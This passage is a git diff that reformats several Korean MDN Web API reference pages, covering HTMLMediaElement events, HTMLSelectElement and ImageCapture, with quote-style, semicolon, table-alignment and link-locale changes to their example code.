-<input value="Try selecting some text in this element.">
+<input value="Try selecting some text in this element." />
 <p id="log"></p>
 ```
 
 ```js
 function logSelection(event) {
-  const log = document.getElementById('log');
-  const selection = event.target.value.substring(event.target.selectionStart, event.target.selectionEnd);
+  const log = document.getElementById("log");
+  const selection = event.target.value.substring(
+    event.target.selectionStart,
+    event.target.selectionEnd,
+  );
   log.textContent = `You selected: ${selection}`;
 }
 
-const input = document.querySelector('input');
-input.addEventListener('select', logSelection);
+const input = document.querySelector("input");
+input.addEventListener("select", logSelection);
 ```
 
 {{EmbedLiveSample("Selection_logger")}}
diff --git a/files/ko/web/api/htmllielement/index.md b/files/ko/web/api/htmllielement/index.md
index 9004fb08ff5ac7..55d9f2537190ee 100644
--- a/files/ko/web/api/htmllielement/index.md
+++ b/files/ko/web/api/htmllielement/index.md
@@ -2,6 +2,7 @@
 title: HTMLLIElement
 slug: Web/API/HTMLLIElement
 ---
+
 {{ APIRef("HTML DOM") }}
 
 **`HTMLLIElement`** 인터페이스는 리스트 엘리먼트를 조작하기 위한 특정 프로퍼티와 메소드들을 제공합니다.
diff --git a/files/ko/web/api/htmlmediaelement/abort_event/index.md b/files/ko/web/api/htmlmediaelement/abort_event/index.md
index b0013f0eb6a58b..f2aa1a5c48eb71 100644
--- a/files/ko/web/api/htmlmediaelement/abort_event/index.md
+++ b/files/ko/web/api/htmlmediaelement/abort_event/index.md
@@ -23,11 +23,11 @@ original_slug: Web/Events/abort
 
 ## 속성
 
-| 속성                                  | 타입                                                                                                                                                         | 설명                                                                                                                                                                                                           |
-| ------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `target` {{readonlyInline}}     | [`EventTarget`](/ko/docs/Web/API/EventTarget)  | 이벤트 타겟 (DOM tree의 최상위 타겟).                                                                                                                                                                          |
-| `type` {{readonlyInline}}       | [`DOMString`](/ko/docs/Web/API/DOMString) | 이벤트의 타입                                                                                                                                                                                                  |
-| `bubbles` {{readonlyInline}}    | [`Boolean`](/ko/docs/Web/API/Boolean)                                                         | 이벤트가 버블링 되는지 안되는지                                                                                                                                                                                |
-| `cancelable` {{readonlyInline}} | [`Boolean`](/ko/docs/Web/API/Boolean)                                                         | 이벤트가 취소 가능한지 아닌지                                                                                                                                                                                  |
-| `view` {{readonlyInline}}       | [`WindowProxy`](/ko/docs/Web/API/WindowProxy)                         | [`document.defaultView`](/ko/docs/Web/API/Document/defaultView) (document의 `window` ) |
-| `detail` {{readonlyInline}}     | `long` (`float`)                                                                                                                                             | 0.                                                                                                                                                                                                             |
+| 속성                            | 타입                                          | 설명                                                                                   |
+| ------------------------------- | --------------------------------------------- | -------------------------------------------------------------------------------------- |
+| `target` {{readonlyInline}}     | [`EventTarget`](/ko/docs/Web/API/EventTarget) | 이벤트 타겟 (DOM tree의 최상위 타겟).                                                  |
+| `type` {{readonlyInline}}       | [`DOMString`](/ko/docs/Web/API/DOMString)     | 이벤트의 타입                                                                          |
+| `bubbles` {{readonlyInline}}    | [`Boolean`](/ko/docs/Web/API/Boolean)         | 이벤트가 버블링 되는지 안되는지                                                        |
+| `cancelable` {{readonlyInline}} | [`Boolean`](/ko/docs/Web/API/Boolean)         | 이벤트가 취소 가능한지 아닌지                                                          |
+| `view` {{readonlyInline}}       | [`WindowProxy`](/ko/docs/Web/API/WindowProxy) | [`document.defaultView`](/ko/docs/Web/API/Document/defaultView) (document의 `window` ) |
+| `detail` {{readonlyInline}}     | `long` (`float`)                              | 0.                                                                                     |
diff --git a/files/ko/web/api/htmlmediaelement/autoplay/index.md b/files/ko/web/api/htmlmediaelement/autoplay/index.md
index 902218cd877225..b16b6843ac6610 100644
--- a/files/ko/web/api/htmlmediaelement/autoplay/index.md
+++ b/files/ko/web/api/htmlmediaelement/autoplay/index.md
@@ -2,6 +2,7 @@
 title: HTMLMediaElement.autoplay
 slug: Web/API/HTMLMediaElement/autoplay
 ---
+
 {{APIRef("HTML DOM")}}
 
 **`HTMLMediaElement.autoplay`** 프로퍼티는 {{htmlattrxref("autoplay", "video")}} HTML 어트리뷰트의 값을 반환합니다. 이 프로퍼티는 미디어가 문제 없이 재생 가능한 상황이 되면 자동 재생 여부를 결정합니다.
@@ -32,14 +33,15 @@ var autoplay = HTMLMediaElement.autoplay;
 
 ```html
 <video id="video" controls>
-  <source src="https://player.vimeo.com/external/250688977.sd.mp4?s=d14b1f1a971dde13c79d6e436b88a6a928dfe26b&profile_id=165">
+  <source
+    src="https://player.vimeo.com/external/250688977.sd.mp4?s=d14b1f1a971dde13c79d6e436b88a6a928dfe26b&profile_id=165" />
 </video>
 ```
 
 ```js
 // Disable autoplay (recommended)
 // false is the default value
-document.querySelector('#video').autoplay = false;
+document.querySelector("#video").autoplay = false;
 ```
 
 ## 명세서
diff --git a/files/ko/web/api/htmlmediaelement/canplay_event/index.md b/files/ko/web/api/htmlmediaelement/canplay_event/index.md
index 4fb9468b855948..42c15059a09e5b 100644
--- a/files/ko/web/api/htmlmediaelement/canplay_event/index.md
+++ b/files/ko/web/api/htmlmediaelement/canplay_event/index.md
@@ -1,7 +1,8 @@
 ---
-title: 'HTMLMediaElement: canplay'
+title: "HTMLMediaElement: canplay"
 slug: Web/API/HTMLMediaElement/canplay_event
 ---
+
 `canplay` 이벤트는 user agent 가 media 를 재생할 수 있을 때 발생된다. 그러나, 컨텐츠의 추가 버퍼링을 위한 정지 없이 media 를 끝까지 재생하기에는, 로드된 데이터가 충분하지 않을 것으로 추산한다.
 
 ## General info
@@ -21,12 +22,12 @@ slug: Web/API/HTMLMediaElement/canplay_event
 
 ## Properties
 
-| Property                              | Type                                 | Description                                            |
-| ------------------------------------- | ------------------------------------ | ------------------------------------------------------ |
+| Property                        | Type                       | Description                                            |
+| ------------------------------- | -------------------------- | ------------------------------------------------------ |
 | `target` {{readonlyInline}}     | {{domxref("EventTarget")}} | The event target (the topmost target in the DOM tree). |
-| `type` {{readonlyInline}}       | {{domxref("DOMString")}}     | The type of event.                                     |
-| `bubbles` {{readonlyInline}}    | {{jsxref("Boolean")}}         | Whether the event normally bubbles or not.             |
-| `cancelable` {{readonlyInline}} | {{jsxref("Boolean")}}         | Whether the event is cancellable or not.               |
+| `type` {{readonlyInline}}       | {{domxref("DOMString")}}   | The type of event.                                     |
+| `bubbles` {{readonlyInline}}    | {{jsxref("Boolean")}}      | Whether the event normally bubbles or not.             |
+| `cancelable` {{readonlyInline}} | {{jsxref("Boolean")}}      | Whether the event is cancellable or not.               |
 
 ## Related Events
 
diff --git a/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.md b/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.md
index 90594e63cd918d..ae5a5602e4f9b5 100644
--- a/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.md
+++ b/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.md
@@ -1,7 +1,8 @@
 ---
-title: 'HTMLMediaElement: canplaythrough'
+title: "HTMLMediaElement: canplaythrough"
 slug: Web/API/HTMLMediaElement/canplaythrough_event
 ---
+
 `canplaythrough` 이벤트는 user agent 가 media 를 재생할 수 있을 때 발생되며, 컨텐츠의 추가 버퍼링을 위한 정지 없이 media 를 끝까지 재생하기에 로드된 데이터가 충분할 것으로 추산한다.
 
 ## General info
@@ -21,12 +22,12 @@ slug: Web/API/HTMLMediaElement/canplaythrough_event
 
 ## Properties
 
-| Property                              | Type                                 | Description                                            |
-| ------------------------------------- | ------------------------------------ | ------------------------------------------------------ |
+| Property                        | Type                       | Description                                            |
+| ------------------------------- | -------------------------- | ------------------------------------------------------ |
 | `target` {{readonlyInline}}     | {{domxref("EventTarget")}} | The event target (the topmost target in the DOM tree). |
-| `type` {{readonlyInline}}       | {{domxref("DOMString")}}     | The type of event.                                     |
-| `bubbles` {{readonlyInline}}    | {{jsxref("Boolean")}}         | Whether the event normally bubbles or not.             |
-| `cancelable` {{readonlyInline}} | {{jsxref("Boolean")}}         | Whether the event is cancellable or not.               |
+| `type` {{readonlyInline}}       | {{domxref("DOMString")}}   | The type of event.                                     |
+| `bubbles` {{readonlyInline}}    | {{jsxref("Boolean")}}      | Whether the event normally bubbles or not.             |
+| `cancelable` {{readonlyInline}} | {{jsxref("Boolean")}}      | Whether the event is cancellable or not.               |
 
 ## Related Events
 
diff --git a/files/ko/web/api/htmlmediaelement/index.md b/files/ko/web/api/htmlmediaelement/index.md
index 23a758fc5e44b6..ef975467619b1b 100644
--- a/files/ko/web/api/htmlmediaelement/index.md
+++ b/files/ko/web/api/htmlmediaelement/index.md
@@ -155,7 +155,7 @@ _This interface also inherits methods from its ancestors {{domxref("HTMLElement"
 
 ## 이벤트
 
-_부모 엘리먼트 {{domxref("HTMLElement")}}에서 상속받은 이벤트와_ {{domxref('GlobalEventHandlers')}}에 정의된 이벤트를 믹스인합니다. [`addEventListener()`](/en-US/docs/Web/API/EventTarget/addEventListener)를 통해 이벤트를 수신하거나 `oneventname` 프로퍼티에 리스터를 할당하여 수신합니다.
+_부모 엘리먼트 {{domxref("HTMLElement")}}에서 상속받은 이벤트와_ {{domxref('GlobalEventHandlers')}}에 정의된 이벤트를 믹스인합니다. [`addEventListener()`](/ko/docs/Web/API/EventTarget/addEventListener)를 통해 이벤트를 수신하거나 `oneventname` 프로퍼티에 리스터를 할당하여 수신합니다.
 
 - {{domxref("HTMLMediaElement.abort_event", 'abort')}}
   - : 에러 외의 원인으로 전체 리소스가 로드 되지 못했을 때 발생합니다.
diff --git a/files/ko/web/api/htmlmediaelement/networkstate/index.md b/files/ko/web/api/htmlmediaelement/networkstate/index.md
index f942cc209a1964..5f69267fc913df 100644
--- a/files/ko/web/api/htmlmediaelement/networkstate/index.md
+++ b/files/ko/web/api/htmlmediaelement/networkstate/index.md
@@ -14,12 +14,12 @@ l10n:
 
 아래의 `unsigned short` 값 중 하나입니다.
 
-| 상수                | 값    | 설명                                                                                    |
-| ------------------- | ----- | --------------------------------------------------------------------------------------- |
-| `NETWORK_EMPTY`     | 0     | 아직 데이터가 없습니다. 또한 `readyState`는 `HAVE_NOTHING`입니다.                       |
-| `NETWORK_IDLE`      | 1     | HTMLMediaElement가 활성 상태이고 리소스를 선택했지만 네트워크를 사용하고 있지 않습니다. |
-| `NETWORK_LOADING`   | 2     | 브라우저가 HTMLMediaElement 데이터를 다운로드하고 있습니다.                             |
-| `NETWORK_NO_SOURCE` | 3     | HTMLMediaElement src를 찾을 수 없습니다.                                                |
+| 상수                | 값  | 설명                                                                                    |
+| ------------------- | --- | --------------------------------------------------------------------------------------- |
+| `NETWORK_EMPTY`     | 0   | 아직 데이터가 없습니다. 또한 `readyState`는 `HAVE_NOTHING`입니다.                       |
+| `NETWORK_IDLE`      | 1   | HTMLMediaElement가 활성 상태이고 리소스를 선택했지만 네트워크를 사용하고 있지 않습니다. |
+| `NETWORK_LOADING`   | 2   | 브라우저가 HTMLMediaElement 데이터를 다운로드하고 있습니다.                             |
+| `NETWORK_NO_SOURCE` | 3   | HTMLMediaElement src를 찾을 수 없습니다.                                                |
 
 ## 예제
 
diff --git a/files/ko/web/api/htmlselectelement/index.md b/files/ko/web/api/htmlselectelement/index.md
index cb89056881aa77..1ba2960926b4b1 100644
--- a/files/ko/web/api/htmlselectelement/index.md
+++ b/files/ko/web/api/htmlselectelement/index.md
@@ -91,13 +91,13 @@ Listen to these events using {{domxref("EventTarget/addEventListener", "addEvent
 </select>
 */
 
-var select = document.getElementById('s');
+var select = document.getElementById("s");
 
 // return the index of the selected option
 console.log(select.selectedIndex); // 1
 
 // return the value of the selected option
-console.log(select.options[select.selectedIndex].value) // Second
+console.log(select.options[select.selectedIndex].value); // Second
 ```
 
 A better way to track changes to the user's selection is to watch for the {{domxref("HTMLElement/change_event", "change")}} event to occur on the `<select>`. This will tell you when the value changes, and you can then update anything you need to. See [the example provided](/ko/docs/Web/API/HTMLElement/change_event#select_element) in the documentation for the `change` event for details.
diff --git a/files/ko/web/api/htmlselectelement/selectedoptions/index.md b/files/ko/web/api/htmlselectelement/selectedoptions/index.md
index 01e120f96b2898..3586a0ddd9c10b 100644
--- a/files/ko/web/api/htmlselectelement/selectedoptions/index.md
+++ b/files/ko/web/api/htmlselectelement/selectedoptions/index.md
@@ -32,7 +32,7 @@ In this example, a {{HTMLElement("select")}} element with a number of options is
 The HTML that creates the selection box and the {{HTMLElement("option")}} elements representing each of the food choices looks like this:
 
 ```html
-<label for="foods">What do you want to eat?</label><br>
+<label for="foods">What do you want to eat?</label><br />
 <select id="foods" name="foods" size="7" multiple>
   <option value="1">Burrito</option>
   <option value="2">Cheeseburger</option>
@@ -40,12 +40,9 @@ The HTML that creates the selection box and the {{HTMLElement("option")}} elemen
   <option value="4">Pepperoni Pizza</option>
   <option value="5">Taco</option>
 </select>
-<br>
-<button name="order" id="order">
-  Order Now
-</button>
-<p id="output">
-</p>
+<br />
+<button name="order" id="order">Order Now</button>
+<p id="output"></p>
 ```
 
 The `<select>` element is set to allow multiple items to be selected, and it is 7 rows tall. Note also the {{HTMLElement("button")}}, whose role it is to trigger fetching the {{domxref("HTMLCollection")}} of selected elements using the `selected` property.
@@ -59,31 +56,35 @@ let orderButton = document.getElementById("order");
 let itemList = document.getElementById("foods");
 let outputBox = document.getElementById("output");
 
-orderButton.addEventListener("click", function() {
-  let collection = itemList.selectedOptions;
-  let output = "";
+orderButton.addEventListener(
+  "click",
+  function () {
+    let collection = itemList.selectedOptions;
+    let output = "";
+
+    for (let i = 0; i < collection.length; i++) {
+      if (output === "") {
+        output = "Your order for the following items has been placed: ";
+      }
+      output += collection[i].label;
+
+      if (i === collection.length - 2 && collection.length < 3) {
+        output += " and ";
+      } else if (i < collection.length - 2) {
+        output += ", ";
+      } else if (i === collection.length - 2) {
+        output += ", and ";
+      }
+    }
 
-  for (let i=0; i<collection.length; i++) {
     if (output === "") {
-      output = "Your order for the following items has been placed: ";
-    }
-    output += collection[i].label;
-
-    if (i === (collection.length - 2) && (collection.length < 3)) {
-      output +=  " and ";
-    } else if (i < (collection.length - 2)) {
-      output += ", ";
-    } else if (i === (collection.length - 2)) {
-      output += ", and ";
+      output = "You didn't order anything!";
     }
-  }
-
-  if (output === "") {
-    output = "You didn't order anything!";
-  }
 
-  outputBox.innerHTML = output;
-}, false);
+    outputBox.innerHTML = output;
+  },
+  false,
+);
 ```
 
 This script sets up a [`click`](/ko/docs/Web/API/Element/click_event) event listener on the "Order Now" button. When clicked, the event handler fetches the list of selected options using `selectedOptions`, then iterates over the options in the list. A string is constructed to list the ordered items, with logic to build the list using proper English grammar rules (including a [serial comma](https://en.wikipedia.org/wiki/Serial_comma).
diff --git a/files/ko/web/api/htmltemplateelement/index.md b/files/ko/web/api/htmltemplateelement/index.md
index 3bb9af36da4dbf..69b80686ff314c 100644
--- a/files/ko/web/api/htmltemplateelement/index.md
+++ b/files/ko/web/api/htmltemplateelement/index.md
@@ -2,6 +2,7 @@
 title: HTMLTemplateElement
 slug: Web/API/HTMLTemplateElement
 ---
+
 {{APIRef("Web Components")}}
 
 **`HTMLTemplateElement`** 인터페이스는 HTML {{HTMLElement("template")}} 엘리먼트의 컨텐츠에 접근할 수 있게 해줍니다.
diff --git a/files/ko/web/api/htmlvideoelement/index.md b/files/ko/web/api/htmlvideoelement/index.md
index c50540500c4e28..74db9bbfcd17c4 100644
--- a/files/ko/web/api/htmlvideoelement/index.md
+++ b/files/ko/web/api/htmlvideoelement/index.md
@@ -2,6 +2,7 @@
 title: HTMLVideoElement
 slug: Web/API/HTMLVideoElement
 ---
+
 {{APIRef("HTML DOM")}}
 
 **`HTMLVideoElement`** 인터페이스는 Video object를 조작하는데 필요한 프로퍼티와 메소드를 제공합니다. {{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}를 상속합니다.
@@ -64,7 +65,7 @@ _{{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}의 메소드도 
 
 ## Events
 
-_{{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}의 이벤트를 상속합니다._ [`addEventListener()`](/en-US/docs/Web/API/EventTarget/addEventListener) 메소드 또는 `oneventname` 프로퍼티에 리스너를 전달하여 이벤트를 수신합니다.
+_{{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}의 이벤트를 상속합니다._ [`addEventListener()`](/ko/docs/Web/API/EventTarget/addEventListener) 메소드 또는 `oneventname` 프로퍼티에 리스너를 전달하여 이벤트를 수신합니다.
 
 ## 명세
 
diff --git a/files/ko/web/api/idledeadline/index.md b/files/ko/web/api/idledeadline/index.md
index f021a55513ff6a..846a6256c4312b 100644
--- a/files/ko/web/api/idledeadline/index.md
+++ b/files/ko/web/api/idledeadline/index.md
@@ -2,6 +2,7 @@
 title: IdleDeadline
 slug: Web/API/IdleDeadline
 ---
+
 {{APIRef("Background Tasks")}}
 
 `IdleDeadline` 인터페이스는 {{domxref("Window.requestIdleCallback()")}}을 호출하여 설정된 유휴 콜백(idle callback)에 대한 입력 매개변수(parameter)의 데이터 타입으로 사용됩니다. {{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 메서드를 제공하여 사용자 에이전트가 유휴 상태로있을 것으로 추정하는 시간과 속성(property)인 {{domxref("IdleDeadline.didTimeout", "didTimeout")}}을 결정할 수있게하여, timeout 기간이 만료되어 콜백이 실행 중인지 여부를 결정할 수 있습니다.
diff --git a/files/ko/web/api/imagecapture/getphotocapabilities/index.md b/files/ko/web/api/imagecapture/getphotocapabilities/index.md
index 5e52b1ebe2859a..614cbda0bd73fb 100644
--- a/files/ko/web/api/imagecapture/getphotocapabilities/index.md
+++ b/files/ko/web/api/imagecapture/getphotocapabilities/index.md
@@ -10,7 +10,7 @@ slug: Web/API/ImageCapture/getPhotoCapabilities
 ## 구문
 
 ```js
-const capabilitiesPromise = imageCaptureObj.getPhotoCapabilities()
+const capabilitiesPromise = imageCaptureObj.getPhotoCapabilities();
 ```
 
 ### 반환 값
@@ -35,28 +35,29 @@ const input = document.querySelector('input[type="range"]');
 
 var imageCapture;
 
-navigator.mediaDevices.getUserMedia({video: true})
-.then(mediaStream => {
-  document.querySelector('video').srcObject = mediaStream;
-
-  const track = mediaStream.getVideoTracks()[0];
-  imageCapture = new ImageCapture(track);
-
-  return imageCapture.getPhotoCapabilities();
-})
-.then(photoCapabilities => {
-  const settings = imageCapture.track.getSettings();
-
-  input.min = photoCapabilities.imageWidth.min;
-  input.max = photoCapabilities.imageWidth.max;
-  input.step = photoCapabilities.imageWidth.step;
-
-  return imageCapture.getPhotoSettings();
-})
-.then(photoSettings => {
-  input.value = photoSettings.imageWidth;
-})
-.catch(error => console.log('Argh!', error.name || error));
+navigator.mediaDevices
+  .getUserMedia({ video: true })
+  .then((mediaStream) => {
+    document.querySelector("video").srcObject = mediaStream;
+
+    const track = mediaStream.getVideoTracks()[0];
+    imageCapture = new ImageCapture(track);
+
+    return imageCapture.getPhotoCapabilities();
+  })
+  .then((photoCapabilities) => {
+    const settings = imageCapture.track.getSettings();
+
+    input.min = photoCapabilities.imageWidth.min;
+    input.max = photoCapabilities.imageWidth.max;
+    input.step = photoCapabilities.imageWidth.step;
+
+    return imageCapture.getPhotoSettings();
+  })
+  .then((photoSettings) => {
+    input.value = photoSettings.imageWidth;
+  })
+  .catch((error) => console.log("Argh!", error.name || error));
 ```
 
 ## 명세
diff --git a/files/ko/web/api/imagecapture/getphotosettings/index.md b/files/ko/web/api/imagecapture/getphotosettings/index.md
index 57f4bc700c2e1d..49cd97e93b1b9e 100644
--- a/files/ko/web/api/imagecapture/getphotosettings/index.md
+++ b/files/ko/web/api/imagecapture/getphotosettings/index.md
@@ -10,7 +10,7 @@ slug: Web/API/ImageCapture/getPhotoSettings
 ## 구문
 
 ```js
-const settingsPromise = imageCapture.getPhotoSettings()
+const settingsPromise = imageCapture.getPhotoSettings();
 ```
 
 ### 반환 값
@@ -31,28 +31,29 @@ const input = document.querySelector('input[type="range"]');
 
 var imageCapture;
 
-navigator.mediaDevices.getUserMedia({video: true})
-.then(mediaStream => {
-  document.querySelector('video').srcObject = mediaStream;
-
-  const track = mediaStream.getVideoTracks()[0];
-  imageCapture = new ImageCapture(track);
-
-  return imageCapture.getPhotoCapabilities();
-})
-.then(photoCapabilities => {
-  const settings = imageCapture.track.getSettings();
-
-  input.min = photoCapabilities.imageWidth.min;
-  input.max = photoCapabilities.imageWidth.max;
-  input.step = photoCapabilities.imageWidth.step;
-
-  return imageCapture.getPhotoSettings();
-})
-.then(photoSettings => {
-  input.value = photoSettings.imageWidth;
-})
-.catch(error => console.log('Argh!', error.name || error));
+navigator.mediaDevices
+  .getUserMedia({ video: true })
+  .then((mediaStream) => {
+    document.querySelector("video").srcObject = mediaStream;
+
+    const track = mediaStream.getVideoTracks()[0];
+    imageCapture = new ImageCapture(track);
+
+    return imageCapture.getPhotoCapabilities();
+  })
+  .then((photoCapabilities) => {
+    const settings = imageCapture.track.getSettings();
+
+    input.min = photoCapabilities.imageWidth.min;
+    input.max = photoCapabilities.imageWidth.max;
+    input.step = photoCapabilities.imageWidth.step;
+
+    return imageCapture.getPhotoSettings();
+  })
+  .then((photoSettings) => {
+    input.value = photoSettings.imageWidth;
+  })
+  .catch((error) => console.log("Argh!", error.name || error));
 ```
 
 ## 명세
diff --git a/files/ko/web/api/imagecapture/grabframe/index.md b/files/ko/web/api/imagecapture/grabframe/index.md
index 3a33b3a409f374..be82e83ef67a66 100644
--- a/files/ko/web/api/imagecapture/grabframe/index.md
+++ b/files/ko/web/api/imagecapture/grabframe/index.md
@@ -10,7 +10,7 @@ slug: Web/API/ImageCapture/grabFrame
 ## 구문
 
 ```js
-const bitmapPromise = imageCapture.grabFrame()
+const bitmapPromise = imageCapture.grabFrame();
 ```
 
 ### 반환 값
@@ -22,23 +22,24 @@ const bitmapPromise = imageCapture.grabFrame()
 다음 예제는 [Simple Image Capture 데모](https://simpl.info/imagecapture/)에서 가져온 것으로, `grabFrame()`이 반환한 {{jsxref("Promise")}}의 {{domxref("ImageBitmap")}}을 사용해 {{htmlelement("canvas")}} 요소에 할당하는 방법을 보입니다. 코드를 짧게 유지하기 위해 {{domxref("ImageCapture")}} 객체의 초기화 과정은 생략했습니다.
 
 ```js
-var grabFrameButton = document.querySelector('button#grabFrame');
-var canvas = document.querySelector('canvas');
+var grabFrameButton = document.querySelector("button#grabFrame");
+var canvas = document.querySelector("canvas");
 
 grabFrameButton.onclick = grabFrame;
 
 function grabFrame() {
-  imageCapture.grabFrame()
-  .then(function(imageBitmap) {
-    console.log('Grabbed frame:', imageBitmap);
-    canvas.width = imageBitmap.width;
-    canvas.height = imageBitmap.height;
-    canvas.getContext('2d').drawImage(imageBitmap, 0, 0);
-    canvas.classList.remove('hidden');
-  })
-  .catch(function(error) {
-    console.log('grabFrame() error: ', error);
-  });
+  imageCapture
+    .grabFrame()
+    .then(function (imageBitmap) {
+      console.log("Grabbed frame:", imageBitmap);
+      canvas.width = imageBitmap.width;
+      canvas.height = imageBitmap.height;
+      canvas.getContext("2d").drawImage(imageBitmap, 0, 0);
+      canvas.classList.remove("hidden");
+    })
+    .catch(function (error) {
+      console.log("grabFrame() error: ", error);
+    });
 }
 ```
 
diff --git a/files/ko/web/api/imagecapture/imagecapture/index.md b/files/ko/web/api/imagecapture/imagecapture/index.md
index 39c8e4342ea944..46d6975aa49b0e 100644
--- a/files/ko/web/api/imagecapture/imagecapture/index.md
+++ b/files/ko/web/api/imagecapture/imagecapture/index.md
@@ -2,6 +2,7 @@
 title: ImageCapture() 생성자
 slug: Web/API/ImageCapture/ImageCapture
 ---
+
 {{APIRef("MediaStream Image")}}
 
 **`ImageCapture()`** 생성자는 새로운 {{domxref("ImageCapture")}} 객체를 생성합니다.
@@ -9,7 +10,7 @@ slug: Web/API/ImageCapture/ImageCapture
 ## 구문
 
 ```js
-const imageCapture = new ImageCapture(videoTrack)
+const imageCapture = new ImageCapture(videoTrack);
 ```
 
 ### 매개변수
@@ -26,13 +27,14 @@ const imageCapture = new ImageCapture(videoTrack)
 다음 예제는 {{domxref("MediaDevices.getUserMedia()")}}을 사용해, `ImageCapture()` 생성자에 필요한 {{domxref("MediaStreamTrack")}}을 가져오는 법을 보입니다.
 
 ```js
- navigator.mediaDevices.getUserMedia({video: true})
-  .then(mediaStream => {
-    document.querySelector('video').srcObject = mediaStream
+navigator.mediaDevices
+  .getUserMedia({ video: true })
+  .then((mediaStream) => {
+    document.querySelector("video").srcObject = mediaStream;
     const track = mediaStream.getVideoTracks()[0];
     imageCapture = new ImageCapture(track);
   })
-  .catch(error => console.log(error));
+  .catch((error) => console.log(error));
 ```
 
 ## 명세
diff --git a/files/ko/web/api/imagecapture/index.md b/files/ko/web/api/imagecapture/index.md
index 88b95c2bbe42d2..af3eed7643a97e 100644
--- a/files/ko/web/api/imagecapture/index.md
+++ b/files/ko/web/api/imagecapture/index.md
@@ -40,51 +40,65 @@ slug: Web/API/ImageCapture
 var imageCapture;
 
 function onGetUserMediaButtonClick() {
-  navigator.mediaDevices.getUserMedia({video: true})
-  .then(mediaStream => {
-    document.querySelector('video').srcObject = mediaStream;
-
-    const track = mediaStream.getVideoTracks()[0];
-    imageCapture = new ImageCapture(track);
-  })
-  .catch(error => console.log(error));
+  navigator.mediaDevices
+    .getUserMedia({ video: true })
+    .then((mediaStream) => {
+      document.querySelector("video").srcObject = mediaStream;
+
+      const track = mediaStream.getVideoTracks()[0];
+      imageCapture = new ImageCapture(track);
+    })
+    .catch((error) => console.log(error));
 }
 
 function onGrabFrameButtonClick() {
-  imageCapture.grabFrame()
-  .then(imageBitmap => {
-    const canvas = document.querySelector('#grabFrameCanvas');
-    drawCanvas(canvas, imageBitmap);
-  })
-  .catch(error => console.log(error));
+  imageCapture
+    .grabFrame()
+    .then((imageBitmap) => {
+      const canvas = document.querySelector("#grabFrameCanvas");
+      drawCanvas(canvas, imageBitmap);
+    })
+    .catch((error) => console.log(error));
 }
 
 function onTakePhotoButtonClick() {
-  imageCapture.takePhoto()
-  .then(blob => createImageBitmap(blob))
-  .then(imageBitmap => {
-    const canvas = document.querySelector('#takePhotoCanvas');
-    drawCanvas(canvas, imageBitmap);
-  })
-  .catch(error => console.log(error));
+  imageCapture
+    .takePhoto()
+    .then((blob) => createImageBitmap(blob))
+    .then((imageBitmap) => {
+      const canvas = document.querySelector("#takePhotoCanvas");
+      drawCanvas(canvas, imageBitmap);
+    })
+    .catch((error) => console.log(error));
 }
 
 /* Utils */
 
 function drawCanvas(canvas, img) {
-  canvas.width = getComputedStyle(canvas).width.split('px')[0];
-  canvas.height = getComputedStyle(canvas).height.split('px')[0];
-  let ratio  = Math.min(canvas.width / img.width, canvas.height / img.height);
+  canvas.width = getComputedStyle(canvas).width.split("px")[0];
+  canvas.height = getComputedStyle(canvas).height.split("px")[0];
+  let ratio = Math.min(canvas.width / img.width, canvas.height / img.height);
   let x = (canvas.width - img.width * ratio) / 2;
   let y = (canvas.height - img.height * ratio) / 2;
-  canvas.getContext('2d').clearRect(0, 0, canvas.width, canvas.height);
-  canvas.getContext('2d').drawImage(img, 0, 0, img.width, img.height,
-      x, y, img.width * ratio, img.height * ratio);
+  canvas.getContext("2d").clearRect(0, 0, canvas.width, canvas.height);
+  canvas
+    .getContext("2d")
+    .drawImage(
+      img,
+      0,
+      0,
+      img.width,
+      img.height,
+      x,
+      y,
+      img.width * ratio,
+      img.height * ratio,
+    );
 }
 
-document.querySelector('video').addEventListener('play', function() {
-  document.querySelector('#grabFrameButton').disabled = false;
-  document.querySelector('#takePhotoButton').disabled = false;
+document.querySelector("video").addEventListener("play", function () {
+  document.querySelector("#grabFrameButton").disabled = false;
+  document.querySelector("#takePhotoButton").disabled = false;
 });
 ```
 
diff --git a/files/ko/web/api/imagecapture/takephoto/index.md b/files/ko/web/api/imagecapture/takephoto/index.md
index b1282150285572..2b9d15c04d1d3d 100644
--- a/files/ko/web/api/imagecapture/takephoto/index.md
+++ b/files/ko/web/api/imagecapture/takephoto/index.md
@@ -10,7 +10,7 @@ slug: Web/API/ImageCapture/takePhoto
 ## 구문
 
 ```js
-const blobPromise = imageCaptureObj.takePhoto([photoSettings])
+const blobPromise = imageCaptureObj.takePhoto([photoSettings]);
 ```
 
 ### 매개변수
@@ -30,19 +30,22 @@ const blobPromise = imageCaptureObj.takePhoto([photoSettings])
 다음 코드는 [Simple Image Capture 데모](https://simpl.info/imagecapture/)에서 가져온 것으로, `takePhoto()`가 반환한 {{jsxref("Promise")}}의 {{domxref("Blob")}}을 사용해 {{htmlelement("img")}} 요소에 할당하는 방법을 보입니다. 코드를 짧게 유지하기 위해 {{domxref("ImageCapture")}} 객체의 초기화 과정은 생략했습니다.
 
 ```js
-var takePhotoButton = document.querySelector('button#takePhoto');
-var canvas = document.querySelector('canvas');
+var takePhotoButton = document.querySelector("button#takePhoto");
+var canvas = document.querySelector("canvas");
 
 takePhotoButton.onclick = takePhoto;
 
 function takePhoto() {
-  imageCapture.takePhoto().then(function(blob) {
-    console.log('Took photo:', blob);
-    img.classList.remove('hidden');
-    img.src = URL.createObjectURL(blob);
-  }).catch(function(error) {
-    console.log('takePhoto() error: ', error);
-  });
+  imageCapture
+    .takePhoto()
+    .then(function (blob) {
+      console.log("Took photo:", blob);
+      img.classList.remove("hidden");
+      img.src = URL.createObjectURL(blob);
+    })
+    .catch(function (error) {
+      console.log("takePhoto() error: ", error);
+    });
 }
 ```
 
diff --git a/files/ko/web/api/imagecapture/track/index.md b/files/ko/web/api/imagecapture/track/index.md
index 13b73fb9190dd2..bd407d7f0523d0 100644
--- a/files/ko/web/api/imagecapture/track/index.md
+++ b/files/ko/web/api/imagecapture/track/index.md
